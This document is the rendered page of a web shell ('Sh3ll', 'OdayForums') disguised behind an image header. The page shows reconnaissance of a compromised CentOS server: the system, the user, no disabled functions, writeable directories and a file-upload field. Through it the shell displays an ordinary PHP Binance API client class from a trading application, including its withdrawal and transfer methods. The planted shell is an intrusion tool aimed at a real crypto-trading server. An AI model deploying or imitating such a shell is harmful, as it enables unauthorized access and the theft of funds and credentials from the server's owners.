JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/trader/vendor/linwj/binance/src/Api/Spot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/trader/vendor/linwj/binance/src/Api/Spot/User.php
<?php
/**
 * @author lin <465382251@qq.com>
 * */

namespace Lin\Binance\Api\Spot;

use Lin\Binance\Request;

class User extends Request
{
    //Default required HMAC SHA256
    protected $signature=true;

    //Default seting
    protected $version='v3';

    /**
     * 查看账户当前挂单 (USER_DATA)
    GET /api/v3/openOrders  (HMAC SHA256)
     * */
    public function getOpenOrders(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/openOrders';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *查询所有订单(包括历史订单) (USER_DATA)
    GET /api/v3/allOrders (HMAC SHA256)

    Name	Type	Mandatory	Description
    symbol	STRING	YES
    orderId	LONG	NO	只返回此orderID之后的订单,缺省返回最近的订单
    startTime	LONG	NO
    endTime	LONG	NO
    limit	INT	NO	Default 500; max 1000.
    recvWindow	LONG	NO
    timestamp	LONG	YES
     * */
    public function getAllOrders(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/allOrders';

        $data['timestamp']=time().'000';
        $data['limit']=$data['limit'] ?? 1000;

        $this->data=$data;
        return $this->exec();
    }

    /**
     *查询订单 (USER_DATA)
    GET /api/v3/order (HMAC SHA256)

    Name	Type	Mandatory	Description
    symbol	STRING	YES
    orderId	LONG	NO
    origClientOrderId	STRING	NO
    recvWindow	LONG	NO
    timestamp	LONG	YES
     * */
    public function getOrder(array $data){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/order';

        $data['timestamp']=time().'000';

        $this->data=$data;
        return $this->exec();
    }

    /**
     *账户信息 (USER_DATA)
    GET /api/v3/account (HMAC SHA256)

    Name	Type	Mandatory	Description
    recvWindow	LONG	NO
    timestamp	LONG	YES
     * */
    public function getAccount(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/account';

        $data['timestamp']=time().'000';

        $this->data=$data;
        return $this->exec();
    }


    /**
     *账户成交历史 (USER_DATA)
    GET /api/v3/myTrades  (HMAC SHA256)
     * */
    public function getMyTrades(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/myTrades';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }


    /**
     *充值历史 (USER_DATA)
     * GET /sapi/v1/capital/deposit/hisrec
     * */
    public function getCapitalDepositHisrec(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/capital/deposit/hisrec';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *提现历史 (USER_DATA)
    GET /sapi/v1/capital/withdraw/history
     * */
    public function getCapitalWithdrawHistory(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/capital/withdraw/history';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }
    
    /**
     * 提币 (USER_DATA)
     * POST /sapi/v1/capital/withdraw/apply (HMAC SHA256)
     */
    public function postCapitalWithdraw(array $data=[]) {
        $this->type = 'POST';
        $this->path='/sapi/v1/capital/withdraw/apply';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *获取充值地址(USER_DATA)
    GET /sapi/v1/capital/deposit/address
     * */
    public function getCapitalDepositAddress(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/capital/deposit/address';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }


    /**
     *账户状态 (USER_DATA)
     * GET /sapi/v1/account/status
     * */
    public function getAccountStatus(array $data=[]){
        $this->signature=false;
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/account/status';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *小额资产转换历史 (USER_DATA)
     * GET /sapi/v1/asset/dribblet
     * */
    public function getAssetDribblet(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/asset/dribblet';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *交易手续费率查询 (USER_DATA)
    GET /sapi/v1/asset/tradeFee
     * */
    public function getTradeFee(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/asset/tradeFee';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *上架资产详情 (USER_DATA)
    GET /sapi/v1/asset/assetDetail
     * */
    public function getAssetDetail(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/asset/assetDetail';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     * POST /sapi/v1/asset/transfer (HMAC SHA256)
     * */
    public function getAssetTransfer(array $data=[]){
        $this->type='POST';
        $this->path='/sapi/'.$this->version.'/asset/transfer';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     * POST /sapi/v1/asset/get-funding-asset (HMAC SHA256)
     * */
    public function postAssetGetFundingAsset(array $data=[]){
        $this->type='POST';
        $this->path='/sapi/'.$this->version.'/asset/get-funding-asset';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     * GET /sapi/v1/account/apiRestrictions (HMAC SHA256)
     * */
    public function getAccountApiRestrictions(array $data=[]){
        $this->type='GET';
        $this->path='/sapi/'.$this->version.'/account/apiRestrictions';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }



    //Websocket Account Pull
    /**
     * POST /api/v3/userDataStream
     */
    public function postUserDataStream(array $data=[]){
        $this->type='POST';
        $this->path='/api/'.$this->version.'/userDataStream';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *PUT /api/v3/userDataStream
     */
    public function putUserDataStream(array $data=[]){
        $this->type='PUT';
        $this->path='/api/'.$this->version.'/userDataStream';
        $this->data=$data;
        $this->signature=false;
        return $this->exec();
    }

    /**
     *DELETE /api/v3/userDataStream
     */
    public function deleteUserDataStream(array $data=[]){
        $this->type='DELETE';
        $this->path='/api/'.$this->version.'/userDataStream';
        $this->data=$data;
        $this->signature=false;
        return $this->exec();
    }


    /**
     * POST /sapi/v1/userDataStream
     */
    public function postUserDataStreamSapi(array $data=[]){
        $this->type='POST';
        $this->path='/api/'.$this->version.'/userDataStream';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *PUT /sapi/v1/userDataStream
     */
    public function putUserDataStreamSapi(array $data=[]){
        $this->type='PUT';
        $this->path='/api/'.$this->version.'/userDataStream';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *DELETE /sapi/v1/userDataStream
     */
    public function deleteUserDataStreamSapi(array $data=[]){
        $this->type='DELETE';
        $this->path='/api/'.$this->version.'/userDataStream';
        $this->data=$data;
        return $this->exec();
    }


    /**
     * POST /sapi/v1/userDataStream/isolated
     */
    public function postUserDataStreamIsolated(array $data=[]){
        $this->type='POST';
        $this->path='/api/'.$this->version.'/userDataStream/isolated';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *PUT /sapi/v1/userDataStream/isolated
     */
    public function putUserDataStreamIsolated(array $data=[]){
        $this->type='PUT';
        $this->path='/api/'.$this->version.'/userDataStream/isolated';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *DELETE /sapi/v1/userDataStream/isolated
     */
    public function deleteUserDataStreamIsolated(array $data=[]){
        $this->type='DELETE';
        $this->path='/api/'.$this->version.'/userDataStream/isolated';
        $this->data=$data;
        return $this->exec();
    }



    /**
     *Query OCO (USER_DATA)
     * GET /api/v3/orderList (HMAC SHA256)
     */
    public function getOrderList(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/orderList';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *Query all OCO (USER_DATA)
     * GET /api/v3/allOrderList (HMAC SHA256)
     */
    public function getAllOrderList(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/allOrderList';
        $data['timestamp']=time().'000';
        $this->data=$data;

        return $this->exec();
    }

    /**
     *Query Open OCO (USER_DATA)
     * GET /api/v3/openOrderList (HMAC SHA256)
     */
    public function getOpenOrderList(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/openOrderList';
        $data['timestamp']=time().'000';
        $this->data=$data;
        return $this->exec();
    }
}

ZeroDay Forums Mini